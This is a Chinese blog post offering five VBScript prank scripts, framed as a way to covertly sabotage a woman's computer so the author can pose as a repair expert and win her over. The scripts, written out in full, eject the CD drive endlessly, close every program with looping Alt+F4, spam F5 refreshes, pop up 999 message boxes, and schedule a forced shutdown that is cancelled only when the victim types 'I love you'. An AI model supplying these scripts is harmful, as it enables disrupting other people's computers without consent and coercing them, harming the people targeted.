好玩的vbs代码游戏_分享几个好玩的.vbs奇技淫巧

最新推荐文章于 2023-12-22 09:58:11 发布

思维实验室神祺

最新推荐文章于 2023-12-22 09:58:11 发布

阅读量7.9k

点赞数 2

CC 4.0 BY-SA版权

文章标签：好玩的vbs代码游戏

本文链接：https://blog.csdn.net/weixin_42423349/article/details/113332469

这篇博客介绍了五个使用VBScript代码来恶作剧的技巧，包括无线弹出光驱、强制关闭程序、持续刷新屏幕、强制用户点击数千次以及创建强制表白关机计时器。这些技巧可用于假装修复电脑并逐步接近他人。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

分享几个好玩的.vbs奇技淫巧

一个合格的死肥宅如何才能俘获翠花的芳心呢？搭讪又不会，约吃饭又扣扣搜搜舍不得花钱。只能靠几个不要脸的vbs“搞坏”她的电脑，然后变身电脑维修大师，假借修电脑之名，一步步走进她的心。

第一个，无线弹出光驱，让翠花的电脑跟打了鸡血一样七进七出、不眠不休。将以下代码写入文本文档，修改后缀为vbs即可。

set wmp=createobject("wmplayer.ocx") 
set cd=wmp.cdromcollection.item(0) 
do 
cd.eject 
loop

第二个，关闭翠花的所有程序，打开一个关闭一个，就是这么无情。雷霆噶吧，无情哈拉少。代码如下：

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do
wscript.sleep 2500 
WSHshell.SendKeys "%{F4}" 
loop

第三个，让翠花的电脑就像着了魔似的刷新，无法进行任何操作。代码如下：

set ws=createobject("wscript.shell") 
do 
ws.sendkeys "{f5}" 
loop

第四个，翠花因为最近伙食太好隐约有些过分肥美，那么如何简单高效的帮助翠花燃烧她的卡路里呢？你需要如下代码：

dim s
do until s=999
s=s+1
msgbox"翠花，按999次回车减减肥吧",64
loop

第五个，和翠花的交流已经很深入了，是时候使用下面的代码了，强人所爱，代码如下（360会报毒的哟）：

on error resume next 
dim WSHshellA 
set WSHshellA = wscript.createobject("wscript.shell") 
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""快说你爱我，不然关机···"" ",0 ,true 
dim a 
do while(a <> "我爱你") 
a = inputbox ("快说你爱我，不然关机 ""我爱你""　","不然带你去六神山","",8000,7000) 
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
loop 
msgbox chr(13) + chr(13) + chr(13) + "哎，翠花真可爱" 
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
msgbox chr(13) + chr(13) + chr(13) + "哎，翠花真可爱"